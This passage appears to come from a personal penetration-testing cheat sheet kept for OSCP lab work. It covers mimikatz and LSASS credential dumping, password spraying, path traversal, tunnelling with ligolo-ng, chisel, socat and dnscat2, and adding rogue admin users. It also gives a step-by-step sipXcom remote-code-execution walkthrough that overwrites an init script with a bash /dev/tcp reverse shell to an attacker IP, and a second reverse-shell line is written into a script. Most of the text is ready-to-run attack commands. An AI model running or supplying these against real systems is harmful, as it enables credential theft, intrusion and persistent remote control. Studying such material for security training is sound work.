a.grantor_principal_id = b.principal_id WHERE a.permission_name = \u0026#39;IMPERSONATE\u0026#39; The hrappdb-reader user can be impersonated Perform impersonation: EXECUTE AS LOGIN = \u0026#39;hrappdb-reader\u0026#39; Successful impersonation grants hrappdb-reader permissions and access to the hrappdb database 64.mimikatz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 # Mimikatz one-line execution command mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;token::elevate\u0026#34; \u0026#34;lsadump::sam\u0026#34; \u0026#34;exit\u0026#34; mimikatz.exe /c \u0026#34;privilege::debug\u0026#34; /c \u0026#34;token::elevate\u0026#34; /c \u0026#34;lsadump::sam\u0026#34; mimikatz \u0026#34;privilege::debug\u0026#34; \u0026#34;token::elevate\u0026#34; \u0026#34;lsadump::sam\u0026#34; # Extract all credentials lsadump::sam sekurlsa::msv lsadump::secrets lsadump::cache mimikatz.exe \u0026#34;lsadump::sam\u0026#34; \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::msv\u0026#34; \u0026#34;lsadump::secrets\u0026#34; \u0026#34;lsadump::cache\u0026#34; \u0026#34;exit\u0026#34; # Extract all logon credentials mimikatz.exe \u0026#34;token::elevate\u0026#34; \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::logonpasswords\u0026#34; \u0026#34;exit\u0026#34; # Or extract domain-administrator credentials specifically mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::logonpasswords /user:administrator\u0026#34; \u0026#34;exit\u0026#34; # Extract potentially available usernames and passwords mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::credman\u0026#34; \u0026#34;exit\u0026#34; # If running as administrator, try retrieving tickets from the current computer Using the sekurlsa module (from LSASS memory): # From the running LSASS process sekurlsa::tickets # View all tickets sekurlsa::tickets /export # Export all tickets mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;sekurlsa::tickets\u0026#34; \u0026#34;exit\u0026#34; # From a dump file sekurlsa::minidump lsass.dmp # Load the dump sekurlsa::tickets # View tickets in the dump Using the kerberos module (from the current session): powershellCopy# View tickets kerberos::list # List tickets in the current session kerberos::tgt # View the current TGT kerberos::purge # Purge all tickets # Export tickets kerberos::list /export # Export all tickets # Tickets are exported as .kirbi files by default # Ticket operations kerberos::ptt ticket.kirbi # Inject a ticket (Pass the Ticket) # Domain-controller synchronization with DCSync .\\mimikatz.exe lsadump::dcsync /user:DC01\\web_svc lsadump::dcsync /user:corp\\Administrator 65.Domain Admin Login History 1 2 3 4 5 6 7 8 9 10 11 12 13 # View domain-administrator logon sessions query user /server:localhost # Check logon history in the registry reg query \u0026#34;HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Authentication\\LogonUI\u0026#34; # Create an LSASS dump procdump.exe -ma lsass.exe lsass.dmp procdump.exe -accepteula -ma lsass.exe lsass.dmp pypykatz lsa minidump lsass.dmp # Then analyze it with Mimikatz mimikatz.exe \u0026#34;sekurlsa::minidump lsass.dmp\u0026#34; \u0026#34;sekurlsa::logonpasswords\u0026#34; \u0026#34;exit\u0026#34; 66.Domain Information Gathering 1 2 3 4 5 6 # View domain controllers nltest /dclist:medtech.com # Or nslookup -type=SRV _ldap._tcp.medtech.com nslookup -type=SRV _gc._tcp.medtech.com 67.ligolo-ng 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.3 Attacker machine sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up ./proxy -selfcert Target machine .\\agent.exe -connect 192.168.45.184:11601 -ignore-cert Configure routing sudo ip route add 10.10.174.0/24 dev ligolo session # Show all available sessions session list # List all sessions session \u0026lt;ID\u0026gt; # Select a specific sessionifconfig # Show network-interface configuration info # Show current-session information listener_list # Show all listeners bashCopystart # Start the selected session stop # Stop the current session 68.Windows: Add a User to the Remote Desktop Users Group 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #Enable Remote Desktop REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\u0026#34; \u0026#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f cmd /c net user gesila Admin@123 /add cmd /c net localgroup Administrators gesila /add cmd /c net localgroup \u0026#34;Remote Desktop Users\u0026#34; gesila /add # Domain format xfreerdp /u:medtech.com\\\\joe /p:Flowers1 /v:192.168.170.121 +clipboard /drive:data,/data /workarea # Local format xfreerdp /u:gesila /p:123456 /v:192.168.183.247 +clipboard /drive:data,/data /workarea Reference the file as follows xfreerdp file.rdp /d:skylark /u:kiosk /p:\u0026#39;XEwUS^9R2Gwt8O914\u0026#39; 69.windows_history 1 C:\\Users\\wario\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt 70.powershell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $pass = ConvertTo-SecureString \u0026#34;W3_4R3_th3_f0rce.\u0026#34; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential(\u0026#34;ACUTE\\imonks\u0026#34;, $pass) Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage Enter-PSSession -ComputerName CLIENT02 -Credential $cred Enter-PSSession -ComputerName 172.16.131.83 -Credential $cred New-PSSession -ComputerName CLIENT02 -Credential $cred New-PSSession -ComputerName 172.16.131.83 -Credential $cred # 1. Enter an existing session by session ID Enter-PSSession -Session (Get-PSSession -Id 18) # 2. Or use ComputerName to create and enter a new session directly Enter-PSSession -ComputerName CLIENT02 -Credential $cred # List all sessions Get-PSSession # Remove a session Remove-PSSession -Id 18 # Disconnect a session without removing it Disconnect-PSSession -Id 18 # Reconnect a session Connect-PSSession -Id 18 1 2 3 4 5 6 7 8 9 10 11 12 13 # icacls .\\auditTracker.exe # View detailed permissions Get-Acl .\\auditTracker.exe # Run with elevated privileges sc.exe start audtiTracker sc.exe qc auditTracker # View the privileges under which the file runs Start-Process .\\auditTracker.exe -Verb RunAs Get-Service auditTracker | Select-Object * # View services Get-Service \u0026#34;auditTracker\u0026#34; 1 2 3 4 5 6 schtasks /query /fo LIST /v Get-ScheduledTask | Where-Object {$_.State -eq \u0026#39;Ready\u0026#39;} | Select TaskPath,TaskName schtasks /query /tn \u0026#34;TASK_NAME\u0026#34; /fo LIST /v $task = Get-ScheduledTask -TaskName \u0026#34;TASK_NAME\u0026#34; $task | Select * 71.Domain Enumeration I\u0026rsquo;ve used both of these for a long time, but some parameters differ between versions, so I\u0026rsquo;m writing them all down here.\n1 2 3 4 5 6 7 8 9 10 11 12 13 crackmapexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success # crackmapexec has delay issues and jitter causes errors; netexec works better netexec smb 172.16.131.82 -u user.txt -p passwds.txt --continue-on-success --jitter 5 Sometimes \u0026#34;Connection Error: Error while reading from remote\u0026#34; requires manual verification # Full arguments; a domain can be specified crackmapexec smb 192.168.50.75 -u users.txt -p \u0026#39;Nexus123!\u0026#39; -d corp.com --continue-on-success # https://github.com/ropnop/kerbrute/releases # For Kerberos brute forcing .\\kerbrute_windows_amd64.exe passwordspray -d corp.com .\\usernames.txt \u0026#34;Nexus123!\u0026#34; This can run on a domain member host 72.Other Uses for Vulnerabilities 1 2 3 4 5 6 7 # Read the identity of the user running the program http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/status http://127.0.0.1:8000/backend/?view=../../../../../../../../../../../../../proc/self/environ keepass2john Database.kdbx \u0026gt; 1.txt keepassxc Database.kdbx john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt 73.IMAP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 IMAP commands # Log in first a001 LOGIN maildmz@relia.com DPuBT9tGCBrTbR # List all mailboxes a002 LIST \u0026#34;\u0026#34; \u0026#34;*\u0026#34; # Select the inbox a003 SELECT INBOX # View messages a004 FETCH 1:* FULL # View status a005 STATUS INBOX (MESSAGES) # List all folders a006 LSUB \u0026#34;\u0026#34; \u0026#34;*\u0026#34; 74.Library-MS File Attack https://medium.com/@mhwee/unmasking-windows-library-files-a-deep-dive-into-client-side-exploitation-6bf3371a5262\nhttps://medium.com/@msuliman.mohamed/deliver-your-payload-by-abusing-windows-library-files-cfe862b619df\n1 wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/oscp/Relia/webdav 75.postgres 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 https://www.cnblogs.com/renhaoblog/p/15035230.html psql -h localhost -p 5432 -U postgres # Specify the database name (the default is the postgres database) sudo /usr/bin/psql postgres # Or sudo -u postgres /usr/bin/psql postgres # Or use a connection string sudo /usr/bin/psql \u0026#34;postgresql:///postgres?user=postgres\u0026#34; CREATE ROLE root WITH SUPERUSER LOGIN; sudo psql -U postgres 76.Windows Services 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # CMD commands sc query # Query basic information for all services sc query state=all # Query services in every state sc qc \u0026lt;SERVICE_NAME\u0026gt; # Query detailed configuration for a specific service sc stop \u0026lt;SERVICE_NAME\u0026gt; sc start \u0026lt;SERVICE_NAME\u0026gt; Identify the service process tasklist | findstr GPGService Stop it taskkill /F /IM GPGService.exe # PowerShell commands Get-Service # View all services Get-Service | Where-Object {$_.Status -eq \u0026#34;Running\u0026#34;} # View running services Get-Service -Name \u0026#34;SERVICE_NAME\u0026#34; # View a specific service # List all services and filter key information sc query state= all | find /i \u0026#34;SERVICE_NAME\u0026#34; # First obtain all service names # Then iterate over each service name and query its configuration for /f \u0026#34;tokens=4 delims=: \u0026#34; %i in (\u0026#39;sc query state^= all ^| find /i \u0026#34;service_name\u0026#34;\u0026#39;) do @sc qc %i | find /i \u0026#34;BINARY_PATH_NAME\u0026#34; # Or find services running as LocalSystem for /f \u0026#34;tokens=4 delims=: \u0026#34; %i in (\u0026#39;sc query state^= all ^| find /i \u0026#34;service_name\u0026#34;\u0026#39;) do @sc qc %i | find /i \u0026#34;SERVICE_START_NAME\u0026#34; Get-WmiObject win32_service | Select-Object Name, PathName, StartName sc query type= service | findstr /i \u0026#34;dev\u0026#34; 77.Windows DLL/EXE Search-Order Exploitation 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 When a service path contains spaces and is unquoted, Windows searches for executables in this order: CopyC:\\Skylar.exe C:\\Skylar\\Development.exe # This is why the exploit succeeded! C:\\Skylark\\Development Binaries.exe C:\\Skylark\\Development Binaries 01.exe C:\\Skylark\\Development Binaries 01\\DevService.exe In this case: The service path is: C:\\Skylark\\Development Binaries 01\\???????.exe When Windows encounters an unresolvable filename (?????), it searches in the order above Development.exe was placed in C:\\Skylark\\ This matches the second location in the search order Key vulnerability conditions: The path contains spaces The path is not quoted Windows automatically resolves the path 78.TFTP (UDP) I\u0026rsquo;d used this service on VulnHub before but never took notes. The catch is that there is no command like dir, so finding files is entirely guesswork.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # Enter TFTP interactive mode tftp 192.168.214.222 69 # In interactive mode: binary # Set binary transfer mode get file # Download a file put file # Upload a file # Download a file atftp -g -r filename 192.168.214.222 69 # Upload a file atftp -p -l localfile 192.168.214.222 69 # Download a file tftp 192.168.214.222 -c get remotefile.txt # Upload a file tftp 192.168.214.222 -c put localfile.txt Configuration file cat /etc/xinetd.d/tftp https://nmap.org/nsedoc/scripts/tftp-enum.html nmap -sVU -p69 --script tftp-enum 192.168.214.222 /usr/share/metasploit-framework/data/wordlists/tftp.txt 79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP This was a really interesting exploit, but getting it to work was an incredibly rough ride. I barely managed to finish this part with help from Discord and Claude. Maybe it only felt interesting once everything was finally done; while I was learning it, I felt like my brain was turning to mush. I was completely lost during the exploitation process and got stuck here for a day and a half. Every step forced me to stop and think, and nothing worked, over and over again. I didn\u0026rsquo;t yet have a solid grasp of the exploit itself, so every failed reproduction made things worse. Fortunately, I solved it in the end. If everything had gone smoothly, I probably wouldn\u0026rsquo;t remember it this well or understand it this deeply. Searching Google for this application turned up nothing but CVE numbers; hardly anyone seemed to be working on the actual exploit.\nFirst, the key reference: https://sploitus.com/exploit?id=1337DAY-ID-38254. This is the only blog post I found that explains how the vulnerability works.\nI never found this post through search. I asked around on Discord, but every link people gave me had already been deleted, so the original was gone. This is a backup hosted on another site, and I\u0026rsquo;ve downloaded a local copy. That was one of the wrong turns I took: the Discord links never opened, and at first I assumed that was simply how it was, only to realize later that the pages had been removed.\nThat post is the thread running through this entire exploit and contains almost everything you need. If you want to automate the exploitation, you can try https://github.com/AlexLinov/sipXcom-RCE.\nI\u0026rsquo;m doing this manually precisely because the automated approach didn\u0026rsquo;t work. Next I\u0026rsquo;ll break down how I reproduced the vulnerability. (Because of the OSCP NDA, a lot of the screenshots will be heavily redacted.)\nFirst, you need credentials. A low-privileged user is enough; where you get them is up to you.\nMake sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I\u0026rsquo;m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.\nMake sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I\u0026rsquo;m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.\nLog in as the low-privileged user. The blog explains that you can create a user yourself by clicking create this new account on the server, but I didn\u0026rsquo;t use that option here.\nIf you need to go through a proxy, don\u0026rsquo;t add extra configuration; configuring the proxy unnecessarily can actually make it hang. One tip: if Pidgin freezes with no response after you close and reopen it, run rm -rf ~/.purple/ to delete its configuration, then open it again.\nIf a pop-up appears, click accept, or you won\u0026rsquo;t be able to proceed. You also have to fill in Domain, and the corresponding domain and IP must be added to the hosts file; otherwise, the client may not be able to locate the server.\nThe green indicator is what confirms a successful connection. Anything else means something is wrong with the configuration, possibly including the networking software.\nFill this in to add a chat contact. You can even enter your own account; once it\u0026rsquo;s filled in, click add.\nIf nothing appears after adding it, look at the screenshot above and check every option. Only two were selected by default for me. You need all of them enabled to see every user, including people who haven\u0026rsquo;t accepted the contact request and users who are offline.\nDouble-click the icon to open the chat window, then build the payload.\n1 2 3 4 5 6 7 First, listen on local port 80 nc -lvnp 80 Enter the following in the chat box @call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc If everything goes as expected, you\u0026rsquo;ll get the result shown above. The file contains passwords because it stores chat logs, which may hold something useful, such as an administrator password. Just inspect the contents.\nOnce you\u0026rsquo;ve found the administrator password, you can build the exploit. The idea is to use an operation that overwrites /etc/init.d/openfire. When sipXopenfire restarts, it reloads the configuration and invokes the shell script inside it, leading to RCE. One line contains the reverse-shell command; remember to change the IP and port.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 #!/bin/sh # # openfire Stops and starts the Openfire XMPP service. # # chkconfig: 2345 99 1 # description: Openfire is an XMPP server, which is a server that facilitates \\ # XML based communication, such as chat. # config: /opt/openfire/conf/openfire.xml # config: /etc/sysconfig/openfire # pidfile: /var/run/openfire.pid # # This script has currently been tested on Redhat, CentOS, and Fedora based # systems. # ##### # Begin setup work ##### # Initialization PATH=\u0026#34;/sbin:/bin:/usr/bin:/usr/sbin\u0026#34; RETVAL=0 # Check that we are root ... so non-root users stop here. if [ \u0026#34;`id -u`\u0026#34; != 0 ]; then echo $0 must be run as root exit 1 fi su -s /bin/sh -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.96.128/4444 0\u0026gt;\u0026amp;1\u0026#34; # Get config. [ -f \u0026#34;/etc/sysconfig/openfire\u0026#34; ] \u0026amp;\u0026amp; . /etc/sysconfig/openfire if [ -f \u0026#34;/etc/init.d/functions\u0026#34; ]; then FUNCTIONS_FOUND=true . /etc/init.d/functions fi # If openfire user is not set in sysconfig, set to daemon. [ -z \u0026#34;$OPENFIRE_USER\u0026#34; ] \u0026amp;\u0026amp; OPENFIRE_USER=\u0026#34;daemon\u0026#34; # If pid file path is not set in sysconfig, set to /var/run/openfire.pid. [ -z \u0026#34;$OPENFIRE_PIDFILE\u0026#34; ] \u0026amp;\u0026amp; OPENFIRE_PIDFILE=\u0026#34;/var/run/openfire.pid\u0026#34; # ----------------------------------------------------------------- # If a openfire home variable has not been specified, try to determine it. if [ -z \u0026#34;$OPENFIRE_HOME\u0026#34; -o ! -d \u0026#34;$OPENFIRE_HOME\u0026#34; ]; then if [ -d \u0026#34;/usr/share/openfire\u0026#34; ]; then OPENFIRE_HOME=\u0026#34;/usr/share/openfire\u0026#34; elif [ -d \u0026#34;/usr/local/openfire\u0026#34; ]; then OPENFIRE_HOME=\u0026#34;/usr/local/openfire\u0026#34; elif [ -d \u0026#34;/opt/openfire\u0026#34; ]; then OPENFIRE_HOME=\u0026#34;/opt/openfire\u0026#34; else echo \u0026#34;Could not find Openfire installation under /opt, /usr/share, or /usr/local.\u0026#34; echo \u0026#34;Please specify the Openfire installation location as variable OPENFIRE_HOME\u0026#34; echo \u0026#34;in /etc/sysconfig/openfire.\u0026#34; exit 1 fi fi # If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs. [ -z \u0026#34;$OPENFIRE_LOGDIR\u0026#34; ] \u0026amp;\u0026amp; OPENFIRE_LOGDIR=\u0026#34;${OPENFIRE_HOME}/logs\u0026#34; # Attempt to locate java installation. if [ -z \u0026#34;$JAVA_HOME\u0026#34; ]; then if [ -d \u0026#34;${OPENFIRE_HOME}/jre\u0026#34; ]; then JAVA_HOME=\u0026#34;${OPENFIRE_HOME}/jre\u0026#34; elif [ -d \u0026#34;/etc/alternatives/jre\u0026#34; ]; then JAVA_HOME=\u0026#34;/etc/alternatives/jre\u0026#34; else jdks=`ls -r1d /usr/java/j*` for jdk in $jdks; do if [ -f \u0026#34;${jdk}/bin/java\u0026#34; ]; then JAVA_HOME=\u0026#34;$jdk\u0026#34; break fi done fi fi JAVACMD=\u0026#34;${JAVA_HOME}/bin/java\u0026#34; if [ ! -d \u0026#34;$JAVA_HOME\u0026#34; -o ! -x \u0026#34;$JAVACMD\u0026#34; ]; then echo \u0026#34;Error: JAVA_HOME is not defined correctly.\u0026#34; echo \u0026#34; Can not sure execute $JAVACMD.\u0026#34; exit 1 fi # Prepare location of openfire libraries OPENFIRE_LIB=\u0026#34;${OPENFIRE_HOME}/lib\u0026#34; # Prepare openfire command line OPENFIRE_OPTS=\u0026#34;${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}\u0026#34; # Prepare local java class path if [ -z \u0026#34;$LOCALCLASSPATH\u0026#34; ]; then LOCALCLASSPATH=\u0026#34;${OPENFIRE_LIB}/startup.jar\u0026#34; else LOCALCLASSPATH=\u0026#34;${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}\u0026#34; fi # Export any necessary variables export JAVA_HOME JAVACMD # Lastly, prepare the full command that we are going to run. OPENFIRE_RUN_CMD=\u0026#34;${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \\\u0026#34;${LOCALCLASSPATH}\\\u0026#34; -jar \\\u0026#34;${OPENFIRE_LIB}/startup.jar\\\u0026#34;\u0026#34; ##### # End setup work ##### start() { OLD_PWD=`pwd` cd $OPENFIRE_LOGDIR PID=$(findPID) if [ -n \u0026#34;$PID\u0026#34; ]; then echo \u0026#34;Openfire is already running.\u0026#34; RETVAL=1 return fi # Start daemons. echo -n \u0026#34;Starting openfire: \u0026#34; rm -f nohup.out su -s /bin/sh -c \u0026#34;nohup $OPENFIRE_RUN_CMD \u0026gt; $OPENFIRE_LOGDIR/nohup.out 2\u0026gt;\u0026amp;1 \u0026amp;\u0026#34; $OPENFIRE_USER RETVAL=$? echo [ $RETVAL -eq 0 -a -d /var/lock/subsys ] \u0026amp;\u0026amp; touch /var/lock/subsys/openfire sleep 1 # allows prompt to return cd $OLD_PWD } stop() { # Stop daemons. echo -n \u0026#34;Shutting down openfire: \u0026#34; PID=$(findPID) if [ -n \u0026#34;$PID\u0026#34; ]; then if [ -n \u0026#34;$FUNCTIONS_FOUND\u0026#34; ]; then echo $PID \u0026gt; $OPENFIRE_PIDFILE # delay copied from restart killproc -p $OPENFIRE_PIDFILE -d 10 rm -f $OPENFIRE_PIDFILE else kill $PID fi else echo \u0026#34;Openfire is not running.\u0026#34; fi RETVAL=$? echo [ $RETVAL -eq 0 -a -f \u0026#34;/var/lock/subsys/openfire\u0026#34; ] \u0026amp;\u0026amp; rm -f /var/lock/subsys/openfire } restart() { stop sleep 10 # give it a few moments to shut down start } condrestart() { [ -e \u0026#34;/var/lock/subsys/openfire\u0026#34; ] \u0026amp;\u0026amp; restart return 0 } status() { PID=$(findPID) if [ -n \u0026#34;$PID\u0026#34; ]; then echo \u0026#34;openfire is running\u0026#34; RETVAL=0 else echo \u0026#34;openfire is not running\u0026#34; RETVAL=1 fi } findPID() { echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk \u0026#39;{print $1}\u0026#39;` } # Handle how we were called. case \u0026#34;$1\u0026#34; in start) start ;; stop) stop ;; restart) restart ;; condrestart) condrestart ;; reload) restart ;; status) status ;; *) echo \u0026#34;Usage $0 {start|stop|restart|status|condrestart|reload}\u0026#34; RETVAL=1 esac exit $RETVAL Save this file locally, for example as openfire.txt. Next, overwrite /etc/init.d/openfire.\n@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy\nAll you need to do is start an HTTP server.\nThen enter the command above in the chat window. It will download the file and overwrite the Openfire script.\nThe only thing left is to restart the service. I\u0026rsquo;ll describe the route I took, because even the blog never explained where to do this; I had to feel my way through it. Remember to listen on the port specified in the exploit above.\nThat makes this a pretty detailed walkthrough. Some people on Discord said this was an interesting box, and I agree—though naturally it only felt interesting after I had finished it. After the restart, wait a little while and the root shell should come in.\n80.tcpdump 1 tcpdump -i any udp -w capture.pcap 81.BSD 1 2 This directory traditionally stores home directories for temporary or guest users /usr/guest/ 82.Windows Command Line Permissions\n1 2 3 4 5 6 7 8 First, take ownership of the file: takeown /f \u0026#34;C:\\Users\\k.smith\\.ssh\\id_rsa\u0026#34; Modify file permissions to gain full control: icacls \u0026#34;C:\\Users\\k.smith\\.ssh\\id_rsa\u0026#34; /grant Administrators:F Force the permission change: cacls \u0026#34;C:\\Users\\k.smith\\.ssh\\id_rsa\u0026#34; /E /P Administrators:F 83.socat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Use a more verbose listener command: bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT Or try logging the communication: bashCopysocat -v UNIX-LISTEN:/tmp/s,fork \u0026#34;SYSTEM:tee /tmp/socat.log\u0026#34; You can also try interacting with it: bashCopy# Listen and display all received data in hexadecimal socat -x UNIX-LISTEN:/tmp/s,fork STDOUT Expose a local port through a proxy # On the target machine, forward local port 8888 to port 33333 on 0.0.0.0 socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888 # Create a reverse tunnel # On the attacker machine: socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost # On the attacker machine: socat TCP:ATTACKER_IP:33333 TCP:127.0.0.1:8888 84.VNC Passwords 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 https://www.cnblogs.com/fczlm/p/17759610.html VNC password Configuration path: c:\\Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini; decryption tool: https://github.com/jeroennijhof/vncpwd TightVNC The encrypted TightVNC password is stored in the registry and requires administrator privileges reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\TightVNC\\Server /v ControlPassword reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\TightVNC\\Server /v password reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\TightVNC\\Server /v RfbPort Decryption tool: https://github.com/jeroennijhof/vncpwd RealVNC The encrypted RealVNC password is stored in the registry and requires administrator privileges. reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver /v password Decryption tool: https://github.com/jeroennijhof/vncpwd First, create a file containing the raw hexadecimal data: bashCopy# Use xxd to create a binary file echo \u0026#34;BFE825DE515A335BE3\u0026#34; | xxd -r -p \u0026gt; vnc.txt # Then try to decrypt it ./vncpwd vnc.txt Or try the MSF method: msfconsole irb fixedkey = \u0026#34;\\x17\\x52\\x6b\\x06\\x23\\x4e\\x58\\x07\u0026#34; require \u0026#39;rex/proto/rfb\u0026#39; Rex::Proto::RFB::Cipher.decrypt(\u0026#34;BFE825DE515A335BE3\u0026#34;, fixedkey) Or try another version of vncpwd: bashCopygit clone https://github.com/gitdurandal/vncpwd.git cd vncpwd make ./vncpwd BFE825DE515A335BE3 vncviewer 192.168.214.220:5900 # Enter password: R3S3+rcH 85.chisel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Server listener (attacker machine) # Basic server syntax ./chisel server --reverse -p 8000 Client connection (target machine) # Basic connection ./chisel client ATTACKER_IP:8000 R:LOCAL_LISTEN_PORT:TARGET_IP:TARGET_PORT Common command examples: Reverse-proxy a single port # Server ./chisel server --reverse -p 8000 # Client ./chisel client ATTACKER_IP:8000 R:8001:TARGET_IP:TARGET_PORT SOCKS proxy # Server ./chisel server --reverse -p 8000 # Client ./chisel client ATTACKER_IP:8000 R:socks 86.A Few Things About echo 1 2 3 4 5 6 7 8 9 10 11 12 # Using double quotes with echo prevents #!/bin/bash from being written correctly # Single quotes work correctly echo \u0026#39;#!/bin/bash\u0026#39; \u0026gt; 1.sh echo \u0026#34;#!/bin/bash\\n\u0026#34; \u0026gt; __fs.sh # Add -e when escape-sequence interpretation is required echo \u0026#39;#!/bin/bash\u0026#39; \u0026gt; __fs.sh echo -e \u0026#34;check_filesystems() {\\nbash -c \u0026#39;exec bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.45.184/80 \u0026lt;\u0026amp;1\u0026#39;\\n}\u0026#34; \u0026gt; __fs.sh echo \u0026#39;#!/bin/bash\u0026#39; \u0026gt; 1.sh echo -e \u0026#34;check_filesystems() {\\n\\tbash -c \u0026#39;exec bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.45.184/80 \u0026lt;\u0026amp;1\u0026#39;\\n}\u0026#34; \u0026gt;\u0026gt; 1.sh 87.dnscat (DNS Tunnel) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 # Step 1: On the Kali attacker machine # Start the dnscat2 server dnscat2-server feline.corp # feline.corp is a user-defined domain and can be named freely # Step 2: On the target machine # Upload dnscat_exercise_client to the target machine # Run the client and connect to the server ./dnscat_exercise_client feline.corp # Use the same domain # The command above suits public networks; on internal networks, point DNS to the Kali machine # On the target machine: # Use --dns to specify the server IP and port ./dnscat --dns server=\u0026lt;KALI_IP\u0026gt;,port=53 # Or use a more complete command: ./dnscat --dns server=\u0026lt;KALI_IP\u0026gt;,port=53 --secret=\u0026lt;SECRET_VALUE\u0026gt; # Step 3: Operate from the dnscat2 server on Kali # View connection status dnscat2\u0026gt; windows # Switch to the session dnscat2\u0026gt; window -i 1 # Configure port forwarding command (TARGET_HOSTNAME) 1\u0026gt; listen 0.0.0.0:4455 192.168.176.7:445 88.Detailed Enumeration Inside a Windows Domain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 Local LDAP search PowerView Tutorial: https://powersploit.readthedocs.io/en/latest/Recon/ # Import Import-Module .\\PowerView.ps1 # Basic domain information PS C:\\Tools\u0026gt; Get-NetDomain Forest : corp.com DomainControllers : {DC1.corp.com} Children : {} DomainMode : Unknown DomainModeLevel : 7 Parent : PdcRoleOwner : DC1.corp.com RidRoleOwner : DC1.corp.com InfrastructureRoleOwner : DC1.corp.com Name : corp.com # Get-NetUser retrieves a list of all users in the domain PS C:\\Tools\u0026gt; Get-NetUser logoncount : 113 iscriticalsystemobject : True description : Built-in account for administering the computer/domain distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com objectclass : {top, person, organizationalPerson, user} lastlogontimestamp : 9/13/2022 1:03:47 AM name : Administrator objectsid : S-1-5-21-1987370270-658905905-1781884369-500 samaccountname : Administrator admincount : 1 codepage : 0 samaccounttype : USER_OBJECT accountexpires : NEVER cn : Administrator whenchanged : 9/13/2022 